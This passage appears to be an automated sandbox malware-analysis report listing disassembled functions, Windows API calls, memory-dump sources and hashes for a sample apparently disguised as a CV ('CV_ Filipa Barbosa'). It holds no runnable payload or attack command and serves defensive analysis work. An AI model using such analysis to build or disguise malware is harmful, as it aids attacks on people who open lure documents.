                                                                          • Instruction Fuzzy Hash: 5E31CF3050021AABCF00EF58C9519BEBBB5FF85310B508A29E826A72D2DB75A905CB90
                                                                          Function 005CB80A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 005CB88E
                                                                          • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 005CB8A1
                                                                          • SendMessageW.USER32(?,00000189,?,00000000), ref: 005CB8D1
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend
                                                                          • String ID: ComboBox$ListBox
                                                                          • API String ID: 3850602802-1403004172
                                                                          • Opcode ID: 923aa1b66e6103f1461323d27f54af8c35da0f75405e45e40e7acbfe668cc4c2
                                                                          • Instruction ID: c8cbeea72f277aa19c5a2b08f9cfffa057984bb1a44671874873b2fd061106df
                                                                          • Opcode Fuzzy Hash: 923aa1b66e6103f1461323d27f54af8c35da0f75405e45e40e7acbfe668cc4c2
                                                                          • Instruction Fuzzy Hash: 5021A076900109BEEB04ABA4D89BEFE7F7DFF86350F14412DF421A61E1DB74490A9B60
                                                                          Function 005951AF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 0059522F
                                                                          • _wcscpy.LIBCMT ref: 00595283
                                                                          • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00595293
                                                                          • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00603CB0
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: IconLoadNotifyShell_String_memset_wcscpy
                                                                          • String ID: Line:
                                                                          • API String ID: 1053898822-1585850449
                                                                          • Opcode ID: 10cf4f979f6e8184fef3a66890f92aa0e6b724ca6ad63af996e8b870a3c52795
                                                                          • Instruction ID: ab9f9cb9c8ff67c6b94fcd2afb3421cac527d211240ba05b6bca7749d980ab59
                                                                          • Opcode Fuzzy Hash: 10cf4f979f6e8184fef3a66890f92aa0e6b724ca6ad63af996e8b870a3c52795
                                                                          • Instruction Fuzzy Hash: 9131CF71008742AEDB26EB60DC4AFDFBBD8BB85300F00491AF585961D1EB70A658CB92
                                                                          Function 005E43E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 005E4401
                                                                          • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005E4427
                                                                          • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 005E4457
                                                                          • InternetCloseHandle.WININET(00000000), ref: 005E449E
                                                                            • Part of subcall function 005E5052: GetLastError.KERNEL32(?,?,005E43CC,00000000,00000000,00000001), ref: 005E5067
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: HttpInternet$CloseErrorHandleInfoLastOpenQueryRequestSend
                                                                          • String ID:
                                                                          • API String ID: 1951874230-3916222277
                                                                          • Opcode ID: 90053c6f53b2aeab7ebb27ab4a5ddbfed86e8ceebdd73690cbda1cd6d3cddcfe
                                                                          • Instruction ID: d727a89a984a2c010a18328bb94c9c02cb85453540c89f75e04d92b61753128b
                                                                          • Opcode Fuzzy Hash: 90053c6f53b2aeab7ebb27ab4a5ddbfed86e8ceebdd73690cbda1cd6d3cddcfe
                                                                          • Instruction Fuzzy Hash: 2221C2B1600249BFEB159F55CC88FBF7BEDFB88748F10841AF285D2180EA648D059B70
                                                                          Function 005F90E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AD17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 005AD1BA
                                                                            • Part of subcall function 005AD17C: GetStockObject.GDI32(00000011), ref: 005AD1CE
                                                                            • Part of subcall function 005AD17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 005AD1D8
                                                                          • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 005F915C
                                                                          • LoadLibraryW.KERNEL32(?), ref: 005F9163
                                                                          • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 005F9178
                                                                          • DestroyWindow.USER32(?), ref: 005F9180
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                                          • String ID: SysAnimate32
                                                                          • API String ID: 4146253029-1011021900
                                                                          • Opcode ID: 5e0871ee66de25bae8f729be86d8b0dab1450652463015c8043895c1a2af4e8c
                                                                          • Instruction ID: 6d8413e363245e5657254a426cf33f5b1126fd6d698410d3fdd4150d51ce78c9
                                                                          • Opcode Fuzzy Hash: 5e0871ee66de25bae8f729be86d8b0dab1450652463015c8043895c1a2af4e8c
                                                                          • Instruction Fuzzy Hash: 1E218E71600A0ABBEF104E649C89FFB3BADFB99364F144629FA1492190C735DC52E760
                                                                          Function 005D9568 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetStdHandle.KERNEL32(0000000C), ref: 005D9588
                                                                          • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 005D95B9
                                                                          • GetStdHandle.KERNEL32(0000000C), ref: 005D95CB
                                                                          • CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 005D9605
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CreateHandle$FilePipe
                                                                          • String ID: nul
                                                                          • API String ID: 4209266947-2873401336
                                                                          • Opcode ID: 0ba6046d982915864a96169b879e1b4dafa889a7473831e67e0b67804cd87cf6
                                                                          • Instruction ID: 455c60e799eccbc71aa34e45a09f52587720e49c987a4e623a0806ec86c124b3
                                                                          • Opcode Fuzzy Hash: 0ba6046d982915864a96169b879e1b4dafa889a7473831e67e0b67804cd87cf6
                                                                          • Instruction Fuzzy Hash: E1214C70600206ABDB319F29EC05A9ABBA8BF95720F204A2BF9A1D73D0D770D940CB50
                                                                          Function 005D9634 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetStdHandle.KERNEL32(000000F6), ref: 005D9653
                                                                          • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 005D9683
                                                                          • GetStdHandle.KERNEL32(000000F6), ref: 005D9694
                                                                          • CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 005D96CE
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CreateHandle$FilePipe
                                                                          • String ID: nul
                                                                          • API String ID: 4209266947-2873401336
                                                                          • Opcode ID: 4ff7bf1260f887a886429c76e37aae2a33979ed07629f0d6a8e86b39f7fdae01
                                                                          • Instruction ID: 83f60232e9dd60224f3a553c2d25e72528d5eddb3254701b73f4997b4a364fba
                                                                          • Opcode Fuzzy Hash: 4ff7bf1260f887a886429c76e37aae2a33979ed07629f0d6a8e86b39f7fdae01
                                                                          • Instruction Fuzzy Hash: 1421AF71600206ABDB309F6D8C04E9ABBE8BF84724F204A5BF9A1E73D0E770D941CB10
                                                                          Function 005DDAF6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetErrorMode.KERNEL32(00000001), ref: 005DDB0A
                                                                          • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 005DDB5E
                                                                          • __swprintf.LIBCMT ref: 005DDB77
                                                                          • SetErrorMode.KERNEL32(00000000,00000001,00000000,0062DC00), ref: 005DDBB5
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorMode$InformationVolume__swprintf
                                                                          • String ID: %lu
                                                                          • API String ID: 3164766367-685833217
                                                                          • Opcode ID: 2f6d535f27d2ff29f822eb0052e7b9069bb54f650fe93e494a0f513634a1602f
                                                                          • Instruction ID: 02ffc2b8cafc1105b95537a48de1c6fd846e910757b2f7877bbc9f93431f4c48
                                                                          • Opcode Fuzzy Hash: 2f6d535f27d2ff29f822eb0052e7b9069bb54f650fe93e494a0f513634a1602f
                                                                          • Instruction Fuzzy Hash: CF216035600209AFCB10EB68D985DEEBBB9FF89704B15406AF505D7251DA71EA01CB60
                                                                          Function 005CC9E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005CC82D: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 005CC84A
                                                                            • Part of subcall function 005CC82D: GetWindowThreadProcessId.USER32(?,00000000), ref: 005CC85D
                                                                            • Part of subcall function 005CC82D: GetCurrentThreadId.KERNEL32 ref: 005CC864
                                                                            • Part of subcall function 005CC82D: AttachThreadInput.USER32(00000000), ref: 005CC86B
                                                                          • GetFocus.USER32 ref: 005CCA05
                                                                            • Part of subcall function 005CC876: GetParent.USER32(?), ref: 005CC884
                                                                          • GetClassNameW.USER32(?,?,00000100), ref: 005CCA4E
                                                                          • EnumChildWindows.USER32(?,005CCAC4), ref: 005CCA76
                                                                          • __swprintf.LIBCMT ref: 005CCA90
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf
                                                                          • String ID: %s%d
                                                                          • API String ID: 3187004680-1110647743
                                                                          • Opcode ID: 00e1e35ad37b54d1d42df8fb26160b5d6dea2ae3ccee0b8206a87a5abd7bbedc
                                                                          • Instruction ID: c463bce5c4f335fdbf8599015384d1ebc5b9d70d794624b16d7baf3e67210935
                                                                          • Opcode Fuzzy Hash: 00e1e35ad37b54d1d42df8fb26160b5d6dea2ae3ccee0b8206a87a5abd7bbedc
                                                                          • Instruction Fuzzy Hash: 2D11457550020A6FDF11BF909C99FEA3F79BB84714F04806AF90DAA146DB709545DB70
                                                                          Function 005FA409 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 66windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 005FA46D
                                                                          • SendMessageW.USER32(?,00000406,00000000,ICTRLCREATETREEVIEW), ref: 005FA482
                                                                          • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 005FA48F
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend
                                                                          • String ID: ICTRLCREATETREEVIEW$msctls_trackbar32
                                                                          • API String ID: 3850602802-256545876
                                                                          • Opcode ID: cb70ad272440e79342b9dda99381f08bcf0e6026aac9ef84962bcf0a1b4a09a9
                                                                          • Instruction ID: 1932df5b3fe7deaf74005d129adbd404fcfa7dc479a511e2d86f2324d87bb691
                                                                          • Opcode Fuzzy Hash: cb70ad272440e79342b9dda99381f08bcf0e6026aac9ef84962bcf0a1b4a09a9
                                                                          • Instruction Fuzzy Hash: 1311E7B1200208BEEF205F64CC4AFAB3B69FF89754F014118FB4996091D6B6E811CB21
                                                                          Function 005B7A94 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __lock.LIBCMT ref: 005B7AD8
                                                                            • Part of subcall function 005B7CF4: __mtinitlocknum.LIBCMT ref: 005B7D06
                                                                            • Part of subcall function 005B7CF4: EnterCriticalSection.KERNEL32(00000000,?,005B7ADD,0000000D), ref: 005B7D1F
                                                                          • InterlockedIncrement.KERNEL32(?), ref: 005B7AE5
                                                                          • __lock.LIBCMT ref: 005B7AF9
                                                                          • ___addlocaleref.LIBCMT ref: 005B7B17
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __lock$CriticalEnterIncrementInterlockedSection___addlocaleref__mtinitlocknum
                                                                          • String ID: `a
                                                                          • API String ID: 1687444384-1959848232
                                                                          • Opcode ID: 5c0b1bcb8d99d1d965631c1af4086dfc263b3c6c5af681f80e68365411e930ef
                                                                          • Instruction ID: 4817e124390903bc04a2fe8162d3c887590f0d674637c84ce6148c225939b071
                                                                          • Opcode Fuzzy Hash: 5c0b1bcb8d99d1d965631c1af4086dfc263b3c6c5af681f80e68365411e930ef
                                                                          • Instruction Fuzzy Hash: CE015B71444B05EED720DF65D90978ABFF0FF94321F20890EA4AA966A0DB74A684CF01
                                                                          Function 005FE32E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40processCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 005FE33D
                                                                          • _memset.LIBCMT ref: 005FE34C
                                                                          • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00653D00,00653D44), ref: 005FE37B
                                                                          • CloseHandle.KERNEL32 ref: 005FE38D
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _memset$CloseCreateHandleProcess
                                                                          • String ID: D=e
                                                                          • API String ID: 3277943733-3756138855
                                                                          • Opcode ID: ea1dd5faa5e28ec1ed7070d2ee37ec33f440b642d649f3ed76372b63bf6570aa
                                                                          • Instruction ID: 4d533a5dc1613e20c72c5f43a0aed37e5b00c5a8a566e9ce3056a45d605575e6
                                                                          • Opcode Fuzzy Hash: ea1dd5faa5e28ec1ed7070d2ee37ec33f440b642d649f3ed76372b63bf6570aa
                                                                          • Instruction Fuzzy Hash: C4F05EF1540324BEE3105B60AC4AFB77E7EEF04B95F005521BF08D62E2E375AE1086A8
                                                                          Function 005F1945 Relevance: 7.7, APIs: 5, Instructions: 232COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 005F19F3
                                                                          • GetProcessIoCounters.KERNEL32(00000000,?), ref: 005F1A26
                                                                          • GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 005F1B49
                                                                          • CloseHandle.KERNEL32(?), ref: 005F1BBF
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Process$CloseCountersHandleInfoMemoryOpen
                                                                          • String ID:
                                                                          • API String ID: 2364364464-0
                                                                          • Opcode ID: 1b08c39c98312ce628a9450348143a66530de3c7e44b22265afe9dd462d3c0d3
                                                                          • Instruction ID: f4ab9275c99eda96ef20ef4033ce6bf89793eafbed02457621cf2edf8f591ac0
                                                                          • Opcode Fuzzy Hash: 1b08c39c98312ce628a9450348143a66530de3c7e44b22265afe9dd462d3c0d3
                                                                          • Instruction Fuzzy Hash: AF819174600205EBDF10AF64C89ABADBFE5BF45720F048459F905AF382D7B9AD418F94
                                                                          Function 005FE062 Relevance: 7.7, APIs: 5, Instructions: 187windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 005FE1D5
                                                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 005FE20D
                                                                          • IsDlgButtonChecked.USER32(?,00000001), ref: 005FE248
                                                                          • GetWindowLongW.USER32(?,000000EC), ref: 005FE269
                                                                          • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 005FE281
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$ButtonCheckedLongWindow
                                                                          • String ID:
                                                                          • API String ID: 3188977179-0
                                                                          • Opcode ID: 2c5e5f10246a9a5ceeee4f85a94ee9897d412437d0412904fd5e20eeac1514f2
                                                                          • Instruction ID: 5d829877c28869ab59d8baad5eb9d2faf9b5394bed23c8dd2758b433fa840c11
                                                                          • Opcode Fuzzy Hash: 2c5e5f10246a9a5ceeee4f85a94ee9897d412437d0412904fd5e20eeac1514f2
                                                                          • Instruction Fuzzy Hash: F2617034600208AFDB25DF59CC96FBA7FBAFF8A300F144459FA559B2A1C779A940CB50
                                                                          Function 005D1C9A Relevance: 7.7, APIs: 5, Instructions: 158COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • VariantInit.OLEAUT32(?), ref: 005D1CB4
                                                                          • VariantClear.OLEAUT32(00000013), ref: 005D1D26
                                                                          • VariantClear.OLEAUT32(00000000), ref: 005D1D81
                                                                          • VariantClear.OLEAUT32(?), ref: 005D1DF8
                                                                          • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 005D1E26
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Variant$Clear$ChangeInitType
                                                                          • String ID:
                                                                          • API String ID: 4136290138-0
                                                                          • Opcode ID: 471576a3aa6718702a3770c9ea767c77c47ccb0dab7849d9501b59ea8c07391a
                                                                          • Instruction ID: 776c076a167c765a9d0d748bd60ceeb6db06f1c680c9cafd7a944a87dac75292
                                                                          • Opcode Fuzzy Hash: 471576a3aa6718702a3770c9ea767c77c47ccb0dab7849d9501b59ea8c07391a
                                                                          • Instruction Fuzzy Hash: 15514AB5A00209AFDB24DF58C880AAABBF9FF4C314B15855AE959DB301D330E951CBA4
                                                                          Function 005F0688 Relevance: 7.6, APIs: 5, Instructions: 149libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0059936C: __swprintf.LIBCMT ref: 005993AB
                                                                            • Part of subcall function 0059936C: __itow.LIBCMT ref: 005993DF
                                                                          • LoadLibraryW.KERNEL32(?,00000004,?,?), ref: 005F06EE
                                                                          • GetProcAddress.KERNEL32(00000000,?), ref: 005F077D
                                                                          • GetProcAddress.KERNEL32(00000000,00000000), ref: 005F079B
                                                                          • GetProcAddress.KERNEL32(00000000,?), ref: 005F07E1
                                                                          • FreeLibrary.KERNEL32(00000000,00000004), ref: 005F07FB
                                                                            • Part of subcall function 005AE65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,005DA574,?,?,00000000,00000008), ref: 005AE675
